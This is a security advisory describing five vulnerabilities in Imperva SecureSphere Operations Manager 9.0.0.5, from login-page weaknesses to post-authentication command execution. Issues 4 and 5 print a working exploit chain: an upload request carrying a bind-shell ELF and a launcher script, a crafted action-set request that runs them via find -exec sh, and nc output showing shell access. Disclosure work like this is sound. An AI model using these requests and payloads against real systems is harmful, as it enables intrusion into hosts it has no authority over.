Imperva SecureSphere Operations Manager 9.0.0.5 – Multiple Vulnerabilities
Original: http://www.digitalsec.net/stuff/explt+advs/Imperva-SecureSphere.OptMgr.txt =============================== - Advisory - =============================== Tittle: Imperva SecureSphere Operations Manager - Command Execution (Post Authentication) & Minor issues Risk: High Date: 27.May.2013 Author: Pedro Andujar .: [ INTRO ] :. SecureSphere Operations Manager (SOM) is a multi-domain, federated management solution that dramatically improves the operational efficiency of managing SecureSphere deployments with multiple MX Management Servers. SOM meets the operational scalability demands of large enterprises and Managed Security Service Providers by consolidating the management, visibility and reporting across multiple SecureSphere MX Management Servers, and provides system wide health metrics and statistics. .: [ TECHNICAL DESCRIPTION ] :. Imperva SecureSphere Operations Manager version 9.0.0.5 Enterprise Edition and probably others are prone to several security issues as described below; .: [ ISSUE #1 }:. Name: Autocomplete atribute not disabled in login page Severity: Low AUTOCOMPLETE is not disabled on the /secsphLogin.jsp page. This prevents the web browser specifically caching the username and j_password fields. <tr> <td style="width: 120px"> <h1 class="login">User:</h1> </td> <td> <input size=30 id="username" type='text' name='j_username' style="width:172px" value="andujarp" /> <script>document.getElementById("username").focus()</script> </td> </tr> <tr> <td style="width: 120px"> <h1 class="login">Password:</h1> </td> <td> <input size=30 type='password' name='j_password' style="width:172px"/> .: [ ISSUE #2 }:. Name: Sensitive information is passed as parameter in URL Severity: Low As part of the login process, the assigned session ID is revealed as a URL parameter. GET /SecureSphere/secsphLogin.jsp;jsessionid=8B4AE9F3C99049824D4AEBBF61DEF6A5 HTTP/1.1 Additionally, the some credentials are revealed as a URL parameter when trying to get the details of a sensor device: GET /SecureSphere/j_acegi_security_check?j_password=5352023200062562773&j_username=SOM-user&remote_login_attempt=true&active_mom_user=andujarp .: [ ISSUE #3 }:. Name: Physical Path Disclosure Severity: Low The SecureSpere web application discloses sensitive system information, including file path information, through its exposed functionality. Specifically, the /SecureSphere/dwr/call/plaincall/AsyncOperationsContainer.getOperationState.dwr url resource shows the internal root path of the underlying Application Server; HTTP/1.1 200 OK Content-type: text/javascript;charset=utf-8 Content-Length: 554 Date: Thu, 25 Oct 2013 04:41:38 GMT Server: NA throw 'allowScriptTagRemoting is false.'; //#DWR-INSERT //#DWR-REPLY var s0={};var s1=[];s0['file_size']="412 KB";s0.filePath="/opt/SecureSphere/server/SecureSphere/jakarta-tomcat-secsph/webapps/SecureSphere/WEB-INF/reptempt/25CB2F79E342E89AD9A7CFF51AA17F10/1338152502622932642/export.imf" See also ISSUE #4, where additional file path disclosure occurs. .: [ ISSUE #4 }:. Name: Insufficients checks on file upload Severity: High The SecureSpere web application file upload functionality from the .Key Management. section doesn't provide an adequate security control of the uploaded files, thus allowing an external attacker to upload arbitraty content into the server. This can be used as an attacker in combination with additional vulnerabilities in the application to compromise the Host. When trying to upload an invalid file in the Key Management section, the application shows the full internal path of the application server. Additionally, it effectively uploads the file, despite being a wrong filetype. The example below shows the file upload functionality outputting an error when the file gets uploaded, additionally revelaing the upload filename and its internal path within the system. A Linux x86_64 ELF port 2222 bind shell and additional shell script are uploaded to /var/tmp dir: POST /SecureSphere/plain/settings.html?__targetView=details&extraParams[Key]=T/keyManagement HTTP/1.1 Host: x.x.x.x:8083 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: https://x.x.x.x:8083/SecureSphere/ui/main.html Cookie: JSESSIONID=CBAD5B77716363AFC961614AC32CAD4D Content-Type: multipart/form-data; boundary=---------------------------6997088307399657971245517506 Content-Length: 1011 -----------------------------6997088307399657971245517506 Content-Disposition: form-data; name="def_name" default_key_pair_fips_2 -----------------------------6997088307399657971245517506 Content-Disposition: form-data; name="private_key"; filename="bndsh" Content-Type: application/octet-stream ELF > x@@@8 @@$ j)Xj _j ^HR $ ziHj Zj1Xj2XH1j+XHj ^Hj!Xuj;XH/bin/shSHRWH -----------------------------6997088307399657971245517506 Content-Disposition: form-data; name="public_key"; filename="script" Content-Type: application/octet-stream file file* | grep ELF | awk '{print $1}' | sed -e 's/://' >target.file ; chmod 755 `cat target.file` ; ./`cat target.file` ; rm -rf target.file -----------------------------6997088307399657971245517506 Content-Disposition: form-data; name="password" 12321323 -----------------------------6997088307399657971245517506---------------------------------------------------- HTTP/1.1 200 OK Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Type: text/xml;charset=UTF-8 Content-Language: en Content-Length: 315 Date: Fri, 26 Oct 2012 04:38:17 GMT Server: NA <errors> <global-errors> <global-error path="page"> An error occurred while importing keys: Failed to load PEM key from '/var/tmp/com.mprv.secsph.utils.io1217840423292804321upload.file'..</global-error> </global-errors> <field-errors> </field-errors> </errors> .: [ ISSUE #5 }:. Name: Insufficients checks on Action Set (OS command) Severity: High The SecureSphere web applicaiton allows users to create Action Sets via the Policies sub menu. Action Sets are components used to define the actions taken by SecureSphere when specific conditions are met. Action sets include session blocks, SNMP traps, sys-tem logs, email, FTP Archive, OS Command, etc. An attacker can control the execution of commands by creating a task, setting an OS command action on assignee change and cycling through commands by continuous modification of the task assignee. The OS command action allows the user to supply very limited commands and arguments to the server host and have these commands executed within the context of the .mxserver. user. The application host is running a modified version of Red Hat Linux, with many networking and scripting tools installed by default. Due to insufficient host hardening and application sandboxing, an attacker is able to execute commands. Combining the file upload vulnerability explained in issue 4, an attacker can copy backdoor into the server filesystem and get it executed through this issue, opening a shell access to the host as the .mxserver. user. The attacker is able to use this foothold into the host to elevate privileges, view and modify source code, obtain system and application credentials, etc. POST /SecureSphere/plain/actionsets.html HTTP/1.1 Host: x.x.x.x:8083 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive X-Requested-With: XMLHttpRequest X-Prototype-Version: 1.4.0 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 preffered_encoding: utf-8 Referer: https://x.x.x.x:8083/SecureSphere/ui/main.html Content-Length: 5223 Cookie: JSESSIONID=ABD89957C38AD685A881670E31A7BF1A Pragma: no-cache Cache-Control: no-cache __targetView=details¤tState=E/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].momSettingsComponent.addToNewMxs=true &data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionInterface=E/secsph/action-interface\0x5B@dn=\0x27OsCommandAI\0x27\0x5D &data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].name=rvshell&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map [5143764432078707607].actionParams.ownerTable=E/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D,actions.map[5143764432078707607]&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\ 0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map [command].value=/usr/bin/find &data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[command].ownerTable=E/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D, actions.map[5143764432078707607].actionParams&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[command] .parameterMetadata=E/secsph/generic-action-interface-metadata\0x5B@dn=\0x27OsCommand\0x27\0x5D,interfaceParameters.map[command]&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\ 0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[command].name=command&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map [5143764432078707607].actionParams.parameters.map [arguments].value=-name file\* -exec sh {} \; &data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[arguments].ownerTable=E/secsph/action-set\0x5B@dn=\0x271914115513\0x27\ 0x5D,actions.map[5143764432078707607].actionParams&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[arguments] .parameterMetadata=E/secsph/generic-action-interface-metadata\0x5B@dn=\0x27OsCommand\0x27\0x5D,interfaceParameters.map[arguments]&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\ 0x5D].actions.map[5143764432078707607].actionParams.parameters.map[arguments].name=arguments&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map [workingDir].value=/var/tmp &data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[workingDir].ownerTable=E/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D,actions.map[5143764432078707607].actionParams&data [actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[workingDir].parameterMetadata=E/secsph/generic-action-interface-metadata\0x5B @dn=\0x27OsCommand\0x27\0x5D,interfaceParameters.map[workingDir]&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[workingDir] .name=workingDir&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[shouldRunAlways].value=true&data[actionsets][/secsph/action-set\0x5B @dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[shouldRunAlways].ownerTable=E/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D,actions .map[5143764432078707607].actionParams&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[shouldRunAlways] .parameterMetadata=E/secsph/generic-action-interface-metadata\0x5B@dn=\0x27OsCommand\0x27\0x5D,interfaceParameters.map[shouldRunAlways]&data[actionsets][/secsph/action-set\0x5B@dn= \0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[shouldRunAlways].name=shouldRunAlways&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D] .actions.map[5143764432078707607].ownerTable=E/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D&_= In the example above, we have set an event action-set, and as soon the event happens it will launch the predefined action (/usr/bin/find . -exec sh {}) which will execute sh over all the files existing in /var/tmp. As we were able to upload arbitrary content within the local filesystem by means of the issue 4, the following script that was previously uploaded will be executed as well: file file* | grep ELF | awk '{print $1}' | sed -e 's/://' >target.file ; chmod 755 `cat target.file` ; ./`cat target.file` ; rm -rf target.file The script will find, rename and execute the bind tcp shell that was uploaded before, allowing us to access through an interactive Linux shell in port 2222, with the privileges of mxserver. [crg@fogheaven ~]$ nc x.x.x.x 2222 uname -a;id Linux xxxxx.xxxx.xx 2.6.18-164.15.1.el5.impl #1 SMP Tue Apr 27 20:46:55 IDT 2010 x86_64 x86_64 x86_64 GNU/Linux uid=502(mxserver)gid=505(mxserver)groups=505(mxservers) .: [ CHANGELOG ] :. * 25/Oct/2012: - Audit done, reported to client. * 27/May/2013: - Sent to Imperva. * 02/Jun/2013: - Public Disclosure. .: [ SOLUTIONS ] :. N/A .: [ REFERENCES ] :. [+] Imperva SecureSphere Operations Manager http://www.imperva.com/products/mgt_operations-manager.html [+] Security Target Document http://www.niap-ccevs.org/st/st_vid10466-st.pdf [+] Ernst & Young Advanced Security Centre - Melbourne http://www.ey.com/security/ [+] !dSR - Digital Security Research http://www.digitalsec.net/ -=EOF=- |